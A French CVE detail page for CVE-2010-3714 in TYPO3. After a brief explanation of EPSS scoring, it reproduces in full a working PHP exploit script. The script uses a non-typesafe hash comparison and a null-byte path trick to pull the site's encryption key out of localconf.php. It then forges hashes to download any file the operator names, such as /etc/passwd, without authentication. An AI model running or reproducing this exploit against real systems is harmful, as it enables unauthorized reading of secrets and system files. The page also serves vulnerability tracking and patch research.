CVE-2010-3714 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

<?php /* TYPO3-SA-2010-022.php * Exploit Title: TYPO3 Unauthenticated Arbitrary File Retrieval (TYPO3-SA-2010-020, TYPO3-SA-2010-022) * Date: 29/12/2010 * Author: ikki * Software Link: http://typo3.org/download/, http://sourceforge.net/projects/typo3/files/ * Version: 4.2.15, 4.3.7 or 4.4.4 * Tested on: php * CVE : CVE-2010-3714 (non-typesafe comparison flaw), n/a (fileDenyPattern bypass) * A demonstration video for this vulnerability is also available here: http://www.ikkisoft.com/stuff/TYPO3-SA-2010-020_video.htm * * @_ikki * * TYPO3 Unauthenticated Arbitrary File Retrieval (TYPO3-SA-2010-020, plus TYPO3-SA-2010-022) * * Exploiting a non-typesafe comparison flaw, a remote aggressor can access arbitrary files * on a vulnerable system. Authentication is not required to exploit this vulnerability. * Moreover, a "fileDenyPattern" bypass has been implemented in order to speed up the attack. * * References: * - http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020/ * - http://bugs.typo3.org/view.php?id=15898 * - http://php.net/manual/en/language.operators.comparison.php * - http://blog.nibblesec.org/2010/12/unspecified-vulnerabilities.html ("least disclosure" rant) * * Fix: Update to the TYPO3 versions 4.2.16, 4.3.9, 4.4.5 or newer * Credits: Gregor Kopf for finding the neat non-typesafe comparison flaw, Michał Trojnara for his daily tips */ define("VERSION","0.2"); /* v0.2 * - HTTP and HTTPS support (without verifying the peer's certificate) * - File retrieval, just after the initial encryption key disclosure * - Proxy support * - (Dirty) multi requests support (using curl multi_requests) * - Preliminary checks */ define("DEBUG",FALSE); if(!defined("STDIN")) define("STDIN", fopen('php://stdin','r')); if(!defined("STDERR")) define("STDERR", fopen('php://stderr','r')); /* Turn on/off all error reporting */ DEBUG ? error_reporting(E_ALL) : error_reporting(0); set_time_limit(0); /* Main */ echo("\n\n :: [ TYPO3-SA-2010-022.php v".VERSION." ] :: \n\n"); if($argc=="3"){ $typo=$argv[1]; $reqs=$argv[2]; //Uwaga! Too many requests may even slow down the attack }else if($argc=="4"){ $typo=$argv[1]; $reqs=$argv[2]; //Uwaga! Too many requests may even slow down the attack $proxy=$argv[3]; }else{ echo "Usage: php ".$argv[0]." TYPO3ValidURL ParallelRequests (Proxy)\n\n"; echo "Examples:\r\n"; echo "php ".$argv[0]." http://127.0.0.1/index.php?id=2 9\n"; echo "php ".$argv[0]." https://127.0.0.1/index.php?id=15 9\n"; echo "php ".$argv[0]." http://127.0.0.1:8080/index.php?id=223 12\n"; echo "php ".$argv[0]." http://127.0.0.1/index.php?id=223 12 http://127.0.0.1:8181\n\n"; exit; } $url=substr($typo,0,strpos($typo,"id=")-1); $id=substr($typo,strpos($typo,"id=")+3); $locationData=$id.":"; $jumpurl="typo3conf/ext/../localconf.php%00"; //Null byte and directory move up trick the fileDenyPattern mechanism $juHash="0"; // "0" is a numeric string, converted internally to 0 (int) by PHP during comparisons /* STEP 1 - Check the remote TYPO3 installation */ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); DEBUG ? curl_setopt($ch, CURLOPT_VERBOSE, TRUE):curl_setopt($ch, CURLOPT_VERBOSE, FALSE); curl_setopt($ch, CURLOPT_POST, 1); if(isset($proxy)){ curl_setopt($ch, CURLOPT_PROXY, $proxy); } curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$locationData."&juHash=".$juHash); $output=curl_exec($ch); if(stristr($output,"did not match")) { echo("[*] TYPO3 successfully detected!\n"); }else{ echo("[!] A problem occurred while detecting the remote TYPO3 installation\n"); exit; } curl_close ($ch); /* STEP 2 - Retrieve $TYPO3_CONF_VARS['SYS']['encryptionKey'] from /typo3conf/localconf.php */ $mh = curl_multi_init(); $handles = array(); $location = $locationData; //locationData with padding for($i=0;$i<$reqs;$i++){ $ch = curl_init(); //create a new single curl handle curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_POST, 1); if(isset($proxy)){ curl_setopt($ch, CURLOPT_PROXY, $proxy); } $location = "%20".$location; curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$location."&juHash=".$juHash); curl_multi_add_handle($mh,$ch); $handles[] = $ch; // put the handles in an array to loop } echo("[*] Starting TYPO3's encryption key retrieval\n"); echo("[*] Padding locationData to force '0exxxxxx' strings. It may take a while."); $rcont=0; while(!stristr($output,"TYPO3_CONF_VARS['SYS']['encryptionKey']")){ $running=null; do{ curl_multi_exec($mh,$running); } while ($running > 0); for($i=0;$i<count($handles);$i++){ $output = curl_multi_getcontent($handles[$i]); $location="%20".$location; curl_multi_remove_handle($mh,$handles[$i]); curl_setopt($handles[$i], CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$location."&juHash=".$juHash); curl_multi_add_handle($mh,$handles[$i]); $rcont++; echo("."); } } curl_multi_remove_handle($mh,$handles[$i]); curl_multi_close($mh); $key=substr($output,strpos($output,"TYPO3_CONF_VARS['SYS']['encryptionKey'] = '")+43); $key=substr($key,0,strpos($key,"';")); echo("\n[*] Done! ".$rcont." requests\n"); echo("\n[*] TYPO3's encryption key:".$key."\n"); /* STEP 3 - Retrieve arbitrary files */ while(!0) { echo("\n[*] Which file do you want to download?\n"); echo("[*] Please make your selection (e.g. '/etc/passwd'):\n\n"); $jumpurl=trim(fgets(STDIN,256)); /* Generate a valid hash as in the TYPO3 codebase*/ $hArr= array($jumpurl,$locationData,$key); $juHash=substr(md5(serialize($hArr)),0,10);; $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); DEBUG ? curl_setopt($ch, CURLOPT_VERBOSE, TRUE):curl_setopt($ch, CURLOPT_VERBOSE, FALSE); curl_setopt($ch, CURLOPT_POST, 1); if(isset($proxy)){ curl_setopt($ch, CURLOPT_PROXY, $proxy); } curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$locationData."&juHash=".$juHash); $output=curl_exec($ch); echo("\n[*]------------------------------------------------------------------------------\n\n"); if(!stristr($output,"not a valid")) echo $output; else echo("[!] An error occurred while retriving '".$jumpurl."'\n"); echo("\n\n[*]------------------------------------------------------------------------------\n"); curl_close ($ch); }